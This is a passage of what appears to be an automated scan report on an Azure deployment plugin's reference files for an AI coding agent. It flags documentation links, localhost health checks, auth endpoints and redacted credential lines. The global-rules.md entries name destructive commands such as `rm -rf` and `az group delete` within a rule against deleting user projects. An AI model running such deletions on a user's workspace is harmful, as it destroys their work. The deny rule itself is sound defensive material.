    - [Java identity library](https://learn.microsoft.com/java/api/overview/azure/identity-readme)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/azure-context.md

  • Network accessline 121
    - Invoke **azure-resource-lookup** skill to count existing deployments of that resource type in the selected subscription and region    - Use the count to calculate: `Total After Deployment = Current Count + Planned Deployment`    - Referen
  • Network accessline 122
    - Use the count to calculate: `Total After Deployment = Current Count + Planned Deployment`    - Reference [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-ser
  • Network accessline 123
    - Reference [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) for the limit value

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/functional-verification.md

  • Network accessline 42
    │   ├── User says yes │   │   ├── App can run locally? → Run locally, verify backend + UI │   │   ├── API-only / no UI? → Test endpoints with curl or similar
  • Network accessline 43
    │   │   ├── App can run locally? → Run locally, verify backend + UI │   │   ├── API-only / no UI? → Test endpoints with curl or similar │   │   └── Static site? → Open in browser, verify rendering
  • Network accessline 44
    │   │   ├── API-only / no UI? → Test endpoints with curl or similar

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/global-rules.md

  • Dangerous shell operationline 13
    | **Delete** | `az group delete`, `azd down`, `rm -rf`, delete resource |
  • Dangerous shell operationline 33
    - ⛔ Do NOT delete user project or workspace directories (e.g., `rm -rf <project-dir>`) even when adding features, converting, or migrating — use MODIFY mode to edit existing files instead. File deletions within a project (e.g., removing bui

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/plan-template.md

  • Network accessline 119
    - **If quota CLI is NOT supported** (returns `BadRequest`):      - Get current usage: `az graph query -q "resources | where type == '{resource-type}' and location == '{location}' | count"` (requires `az extension add --name resource-graph`)
  • Network accessline 120
    - Get current usage: `az graph query -q "resources | where type == '{resource-type}' and location == '{location}' | count"` (requires `az extension add --name resource-graph`)      - Get limit: [Azure service limits documentation](https://l
  • Network accessline 121
    - Get limit: [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 141
    - **MUST use azure-quotas skill first** to check providers via quota CLI (`az quota` commands) - Microsoft.Compute, Microsoft.Network, Microsoft.App, etc. - Azure quota CLI is **ALWAYS preferred over REST API** for checking quotas - **ONLY 
  • Network accessline 142
    - Azure quota CLI is **ALWAYS preferred over REST API** for checking quotas - **ONLY for unsupported providers** (e.g., Microsoft.DocumentDB returns `BadRequest`), use fallback methods: [Azure service limits documentation](https://learn.mic
  • Network accessline 143
    - **ONLY for unsupported providers** (e.g., Microsoft.DocumentDB returns `BadRequest`), use fallback methods: [Azure service limits documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/azd/aspire.md

  • Network accessline 68
    .NET Aspire [external parameters](https://aspire.dev/fundamentals/external-parameters/) let apps request values from the deployment environment. Each `AddParameter()` call generates a Bicep parameter in the deployment manifest. However, azd
  • Network accessline 106
    If the value must remain an [external parameter](https://aspire.dev/fundamentals/external-parameters/) (e.g., it varies per environment), pre-set it in the azd environment config immediately after `azd init`:
  • Access to secretsline 117
    [Credential-related source omitted]
  • Network accessline 145
    **Cause:** The AppHost uses `AddParameter()` as a `WithBuildArg` argument. azd cannot resolve Aspire [external parameters](https://aspire.dev/fundamentals/external-parameters/) during Docker builds, regardless of azd version.
  • Network accessline 224
    - [.NET Aspire External Parameters](https://aspire.dev/fundamentals/external-parameters/)
  • Network accessline 225
    - [.NET Aspire Docs](https://learn.microsoft.com/dotnet/aspire/)
  • Network accessline 226
    - [azd + Aspire](https://learn.microsoft.com/dotnet/aspire/deployment/azure/aca-deployment-azd-in-depth)
  • Network accessline 227
    - [Samples](https://github.com/dotnet/aspire-samples)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/azd/docker.md

  • Access to secretsline 99
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/azd/iac-rules.md

  • Network accessline 50
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 51
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 64
    > ⚠<U+FE0F> **Before generating any resource name in Bicep, check [Resource naming rules](https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules) for that resource type's valid characters, length limits, and unique
  • Network accessline 70
    - [Resource abbreviations](https://learn.microsoft.com/azure/cloud-adoption-framework/ready/azure-best-practices/resource-abbreviations) — recommended prefixes per resource type

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/azd/terraform.md

  • Network accessline 478
    - [Microsoft Docs: Use Terraform with azd](https://learn.microsoft.com/en-us/azure/developer/azure-developer-cli/use-terraform-for-azd)
  • Network accessline 479
    - [azd-starter-terraform template](https://github.com/Azure-Samples/azd-starter-terraform)
  • Network accessline 480
    - [Terraform Azure Provider](https://registry.terraform.io/providers/hashicorp/azurerm/latest/docs)
  • Network accessline 481
    - [Azure CAF Naming](https://registry.terraform.io/providers/aztfmod/azurecaf/latest/docs)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/recipes/bicep/patterns.md

  • Network accessline 55
    {   "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",
  • Network accessline 56
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#",

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/region-availability.md

  • Network accessline 3
    > **AUTHORITATIVE SOURCE** — Consult service-specific files BEFORE recommending any region. > > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table
  • Network accessline 5
    > Official reference: https://azure.microsoft.com/en-us/explore/global-infrastructure/products-by-region/table

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/research.md

  • Network accessline 7
    1. **Identify Components** — List all Azure services from architecture plan 2. **Load Service References** — For each service, load `services/<service>/README.md` first, then specific references as needed 3. **Check Resource Naming Rules** 
  • Network accessline 8
    2. **Load Service References** — For each service, load `services/<service>/README.md` first, then specific references as needed 3. **Check Resource Naming Rules** — For each resource type, check [resource naming rules](https://learn.micros
  • Network accessline 9
    3. **Check Resource Naming Rules** — For each resource type, check [resource naming rules](https://learn.microsoft.com/azure/azure-resource-manager/management/resource-name-rules) for valid characters, length limits, and uniqueness scopes

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/resources-limits-quotas.md

  • Network accessline 59
    2. Get limit from [service documentation](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits)
  • Network accessline 96
    | Service | Hard Limits (examples) | Quota Check | Notes | |---------|------------------------|-------------|-------| | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](h
  • Network accessline 97
    |---------|------------------------|-------------|-------| | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-l
  • Network accessline 98
    | **Cosmos DB** | Item: 2MB, Partition key: 2KB, Serverless storage: 50GB | ❌ Not supported. Use Resource Graph + [docs](https://learn.microsoft.com/en-us/azure/cosmos-db/concepts-limits). Default: 50 accounts/region | Query: `az graph quer
  • Network accessline 158
    |-------|------|--------| | "Quota exceeded" | Quota | Use azure-quotas to request increase | | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/man
  • Network accessline 159
    | "Quota exceeded" | Quota | Use azure-quotas to request increase | | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription
  • Network accessline 160
    | "(BadRequest) Bad request" | Unsupported provider | Use [service limits docs](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/azure-subscription-service-limits) |
  • Network accessline 210
    - **azure-quotas skill** - Complete quota checking workflow and CLI commands (invoke the **azure-quotas** skill) - [Azure subscription limits](https://learn.microsoft.com/azure/azure-resource-manager/management/azure-subscription-service-li
  • Network accessline 211
    - [Azure subscription limits](https://learn.microsoft.com/azure/azure-resource-manager/management/azure-subscription-service-limits) - Official Microsoft documentation
  • Network accessline 212
    - [Azure Quotas Overview](https://learn.microsoft.com/en-us/azure/quotas/quotas-overview) - Understanding quotas and limits

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/runtimes/nodejs.md

  • Access to secretsline 27
    [Credential-related source omitted]
  • Access to secretsline 117
    [Credential-related source omitted]
  • Network accessline 173
    # Health check HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \   CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1
  • Network accessline 174
    HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3    CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1
  • Network accessline 175
    CMD wget --no-verbose --tries=1 --spider http://localhost:3000/health || exit 1
  • Network accessline 209
    if (req.get('x-forwarded-proto') !== 'https' && process.env.NODE_ENV === 'production') {     if (!TRUSTED_HOST) return next();     return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`);
  • Network accessline 210
    if (!TRUSTED_HOST) return next();     return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`);   }
  • Network accessline 211
    return res.redirect(`https://${TRUSTED_HOST}${req.originalUrl}`);
  • Access to secretsline 241
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/sdk/azd-deployment.md

  • Access to secretsline 25
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/security.md

  • Network accessline 268
    - [Key Vault documentation](https://learn.microsoft.com/azure/key-vault/general/overview)
  • Network accessline 269
    - [Managed identities documentation](https://learn.microsoft.com/azure/active-directory/managed-identities-azure-resources/overview)
  • Network accessline 270
    - [Azure RBAC documentation](https://learn.microsoft.com/azure/role-based-access-control/overview)
  • Network accessline 271
    - [Microsoft Defender for Cloud](https://learn.microsoft.com/azure/defender-for-cloud/defender-for-cloud-introduction)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/sku-selection.md

  • Network accessline 33
    > 💡 **Tip:** Figures are representative for **Windows OS** in **Central US**, **as of 2026-04**. Prices vary by region, OS, and offer. Use the [Azure Pricing Calculator](https://azure.microsoft.com/pricing/calculator/) for exact figures.
  • Network accessline 37
    Cost savings can be made on Premium V3, Premium V4 and Isolated V2 plans by committing to reserved instances for 1 or 3 year terms, details can found at [https://learn.microsoft.com/azure/cost-management-billing/reservations/prepay-app-serv
  • Network accessline 39
    Alternatively cost savings can be made using [Azure Savings plans](https://learn.microsoft.com/en-us/azure/cost-management-billing/savings-plan/).

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/auth/README.md

  • Network accessline 37
    enabled: true         registration: {           openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0'
  • Network accessline 38
    registration: {           openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0'           clientId: appRegistration.properties.appId
  • Network accessline 39
    openIdIssuer: 'https://login.microsoftonline.com/${tenant().tenantId}/v2.0'
  • Network accessline 67
    web: {     redirectUris: [       'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback'
  • Network accessline 68
    redirectUris: [       'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback'     ]
  • Network accessline 69
    'https://${webApp.properties.defaultHostName}/.auth/login/aad/callback'
  • Network accessline 94
    - [Easy Auth overview](https://learn.microsoft.com/en-us/azure/app-service/overview-authentication-authorization)
  • Network accessline 95
    - [Microsoft Identity Web](https://learn.microsoft.com/en-us/entra/msal/dotnet/microsoft-identity-web/)
  • Network accessline 96
    - [Configure Entra ID auth](https://learn.microsoft.com/en-us/azure/app-service/configure-authentication-provider-aad)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/dotnet.md

  • Network accessline 37
    {   "AzureAd": {     "Instance": "https://login.microsoftonline.com/",
  • Network accessline 38
    "AzureAd": {     "Instance": "https://login.microsoftonline.com/",     "TenantId": "<tenant-id>",
  • Network accessline 39
    "Instance": "https://login.microsoftonline.com/",

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/nodejs.md

  • Network accessline 19
    const client = jwksClient({   jwksUri: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/discovery/v2.0/keys`,
  • Network accessline 20
    jwksUri: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/discovery/v2.0/keys`,
  • Network accessline 46
    algorithms: ["RS256"],         audience: AUDIENCE,         issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`,
  • Network accessline 47
    audience: AUDIENCE,         issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`,       },
  • Network accessline 48
    issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`,

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/python.md

  • Access to secretsline 28
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 30
    # Use APP_ID_URI if set (e.g., "api://<client-id>"); fall back to CLIENT_ID AUDIENCE = os.environ.get("AZURE_APP_ID_URI", CLIENT_ID) JWKS_URL = f"https://login.microsoftonline.com/{TENANT_ID}/discovery/v2.0/keys"
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 32
    JWKS_URL = f"https://login.microsoftonline.com/{TENANT_ID}/discovery/v2.0/keys"
  • Network accessline 42
    algorithms=["RS256"],             audience=AUDIENCE,             issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0",
  • Network accessline 43
    audience=AUDIENCE,             issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0",         )
  • Network accessline 44
    issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0",

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/cosmos/README.md

  • Network accessline 33
    | Setting | Value | Purpose | |---------|-------|---------| | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint |
  • Network accessline 34
    |---------|-------|---------| | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint | | `COSMOS_DATABASE_NAME` | `app-db` | Target database |
  • Network accessline 35
    | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint |
  • Network accessline 87
    - [Cosmos DB + App Service tutorial](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/tutorial-dotnet-web-app)
  • Network accessline 88
    - [Passwordless Cosmos DB connections](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/how-to-dotnet-get-started)
  • Network accessline 89
    - [Cosmos DB RBAC](https://learn.microsoft.com/en-us/azure/cosmos-db/how-to-setup-rbac)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/cosmos/source/python.md

  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/redis/README.md

  • Network accessline 84
    - [Azure Cache for Redis overview](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-overview)
  • Network accessline 85
    - [Use Entra ID with Redis](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-azure-active-directory-for-authentication)
  • Network accessline 86
    - [Redis + App Service tutorial](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-web-app-howto)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/redis/source/nodejs.md

  • Network accessline 19
    const credential = new DefaultAzureCredential(); const TOKEN_SCOPE = "https://redis.azure.com/.default";
  • Network accessline 20
    const TOKEN_SCOPE = "https://redis.azure.com/.default";

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/redis/source/python.md

  • Network accessline 25
    # Redis ACL auth requires both username and token as password _REDIS_USERNAME = "default" _TOKEN_SCOPE = "https://redis.azure.com/.default"
  • Network accessline 26
    _REDIS_USERNAME = "default" _TOKEN_SCOPE = "https://redis.azure.com/.default" _TOKEN_REFRESH_MARGIN = 300  # Refresh 5 minutes before expiry
  • Network accessline 27
    _TOKEN_SCOPE = "https://redis.azure.com/.default"
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/sql/README.md

  • Network accessline 79
    - [Azure SQL passwordless connections](https://learn.microsoft.com/en-us/azure/azure-sql/database/azure-sql-passwordless-migration)
  • Network accessline 80
    - [EF Core with Azure SQL](https://learn.microsoft.com/en-us/ef/core/providers/sql-server/)
  • Network accessline 81
    - [Tutorial: App Service with SQL](https://learn.microsoft.com/en-us/azure/app-service/tutorial-dotnetcore-sqldb-app)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/sql/source/nodejs.md

  • Access to secretsline 96
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/recipes/sql/source/python.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 61
    [Credential-related source omitted]
  • Network accessline 62
    [Credential-related source omitted]
  • Network accessline 63
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 140
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/selection.md

  • Network accessline 7
    Cross-reference with [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) and [official AZD gallery templates](https://azure.github.io/awesome-azd/?tags=appservice).

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/web-api.md

  • Network accessline 15
    **Browse all:** [Awesome AZD App Service](https://azure.github.io/awesome-azd/?tags=appservice)
  • Network accessline 179
    - [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview)
  • Network accessline 180
    - [App Service best practices](https://learn.microsoft.com/en-us/azure/app-service/app-service-best-practices)
  • Network accessline 181
    - [Health check](https://learn.microsoft.com/en-us/azure/app-service/monitor-instances-health-check)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/app-service/templates/web-app.md

  • Network accessline 14
    **Browse all:** [Awesome AZD](https://azure.github.io/awesome-azd/?tags=appservice)
  • Network accessline 106
    ALLOWED_HOSTS = ['.azurewebsites.net', 'localhost'] STATIC_ROOT = BASE_DIR / 'staticfiles' CSRF_TRUSTED_ORIGINS = ['https://*.azurewebsites.net']
  • Network accessline 108
    CSRF_TRUSTED_ORIGINS = ['https://*.azurewebsites.net']
  • Network accessline 179
    - [Deploy to App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-dotnetcore)
  • Network accessline 180
    - [Node.js on App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-nodejs)
  • Network accessline 181
    - [Python on App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/container-apps/day2-operations.md

  • Network accessline 113
    [Credential-related source omitted]
  • Network accessline 114
    [Credential-related source omitted]
  • Network accessline 115
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/container-apps/environment.md

  • Network accessline 25
    {       name: 'database-url'       keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url'
  • Network accessline 26
    name: 'database-url'       keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url'       identity: managedIdentity.id
  • Network accessline 27
    keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url'

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/container-apps/terraform.md

  • Network accessline 157
    output "api_url" {   value = "https://${azurerm_container_app.api.ingress[0].fqdn}"
  • Network accessline 158
    value = "https://${azurerm_container_app.api.ingress[0].fqdn}"

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/cosmos-db/sdk.md

  • Access to secretsline 26
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/README.md

  • Network accessline 28
    # Start the emulator (see https://mcr.microsoft.com/v2/dts/dts-emulator/tags/list for available versions)
  • Network accessline 32
    # Dashboard available at http://localhost:8082
  • Network accessline 49
    | Environment | Connection String | |-------------|-------------------| | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` |
  • Network accessline 50
    |-------------|-------------------| | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` | | Azure (System-Assigned MI) | `Endpoint=https://<scheduler>.durabletask.io;Authentication=ManagedId
  • Network accessline 51
    | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` |
  • Network accessline 72
    - [JavaScript](javascript.md) — packages, setup, examples, determinism, retry, SDK - [Bicep Patterns](bicep.md) — scheduler, task hub, RBAC, CLI provisioning - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durab
  • Network accessline 73
    - [Bicep Patterns](bicep.md) — scheduler, task hub, RBAC, CLI provisioning - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/durable-task-scheduler) - [Durable Functions Overview](ht
  • Network accessline 74
    - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/durable-task-scheduler)
  • Network accessline 75
    - [Durable Functions Overview](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview)
  • Network accessline 76
    - [Sample Repository](https://github.com/Azure-Samples/Durable-Task-Scheduler)
  • Network accessline 77
    - [Choosing an Orchestration Framework](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/choose-orchestration-framework)

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/bicep.md

  • Network accessline 65
    To allow developers to view orchestration status and history in the [DTS dashboard](https://portal.azure.com), assign the same `Durable Task Data Contributor` role to the deploying user's identity. Without this, the dashboard returns **403 
  • Network accessline 82
    > **💡 TIP**: This is the same role used for the Function App's managed identity, but assigned with `principalType: 'User'` to the developer. See the [sample repo](https://github.com/Azure-Samples/Durable-Task-Scheduler/blob/main/samples/inf
  • Network accessline 100
    > **⚠<U+FE0F> WARNING**: Always use `scheduler.properties.endpoint` to get the scheduler URL. Do **not** construct it manually — the endpoint includes a hash suffix and region (e.g., `https://myscheduler-abc123.westus2.durabletask.io`).

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/dotnet.md

  • Network accessline 5
    - [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/)
  • Network accessline 6
    - [Durable Functions .NET isolated worker guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-dotnet-isolated-overview)
  • Network accessline 20
    > **💡 Finding latest versions**: Search [nuget.org](https://www.nuget.org/) for each package name to find the current stable version. Look for the `Microsoft.Azure.Functions.Worker.Extensions.DurableTask` and `Microsoft.Azure.Functions.Work
  • Network accessline 47
    "FUNCTIONS_WORKER_RUNTIME": "dotnet-isolated",     "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 48
    "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"   }
  • Network accessline 49
    "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 179
    var connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/java.md

  • Network accessline 5
    - [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/)
  • Network accessline 6
    - [Durable Functions Java guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=java)
  • Network accessline 27
    > **💡 Finding latest versions**: Search [Maven Central](https://central.sonatype.com/) for `durabletask-azure-functions` (group: `com.microsoft`) to find the current stable version.
  • Network accessline 56
    "FUNCTIONS_WORKER_RUNTIME": "java",     "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 57
    "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"   }
  • Network accessline 58
    "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 204
    public class App {     public static void main(String[] args) throws Exception {         String connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";
  • Network accessline 206
    String connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/javascript.md

  • Network accessline 5
    - [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/)
  • Network accessline 6
    - [Durable Functions JavaScript guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=javascript)
  • Network accessline 21
    > **💡 Finding latest versions**: Run `npm view durable-functions version` or check [npmjs.com/package/durable-functions](https://www.npmjs.com/package/durable-functions) for the latest stable release.
  • Network accessline 50
    "FUNCTIONS_WORKER_RUNTIME": "node",     "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 51
    "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"   }
  • Network accessline 52
    "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 179
    const connectionString = "Endpoint=http://localhost:8080;Authentication=None;TaskHub=default";

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/durable-task-scheduler/python.md

  • Network accessline 5
    - [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/)
  • Network accessline 6
    - [Durable Functions Python guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=python)
  • Network accessline 19
    > **💡 Finding latest versions**: Run `pip index versions azure-functions-durable` or check [pypi.org/project/azure-functions-durable](https://pypi.org/project/azure-functions-durable/) for the latest stable release.
  • Network accessline 50
    "FUNCTIONS_WORKER_RUNTIME": "python",     "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 51
    "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"   }
  • Network accessline 52
    "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 194
    async def main():     with DurableTaskSchedulerWorker(         host_address="http://localhost:8080",
  • Network accessline 195
    with DurableTaskSchedulerWorker(         host_address="http://localhost:8080",         secure_channel=False,
  • Network accessline 196
    host_address="http://localhost:8080",
  • Network accessline 205
    from durabletask.azuremanaged.client import DurableTaskSchedulerClient         client = DurableTaskSchedulerClient(             host_address="http://localhost:8080",
  • Network accessline 206
    client = DurableTaskSchedulerClient(             host_address="http://localhost:8080",             taskhub="default",
  • Network accessline 207
    host_address="http://localhost:8080",

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/event-grid/bicep.md

  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]

harness/claude-code/plugins/azure-app-lifecycle/skills/azure-prepare/references/services/event-grid/subscriptions.md

  • Network accessline 11
    endpointType: 'WebHook'       properties: {         endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders'
  • Network accessline 12
    properties: {         endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders'       }
  • Network accessline 13
    endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders'
  • Network accessline 36
    endpointType: 'WebHook'   properties: {     endpointUrl: 'https://my-api.example.com/events'
  • Network accessline 37
    properties: {     endpointUrl: 'https://my-api.example.com/events'   }
  • Network accessline 38
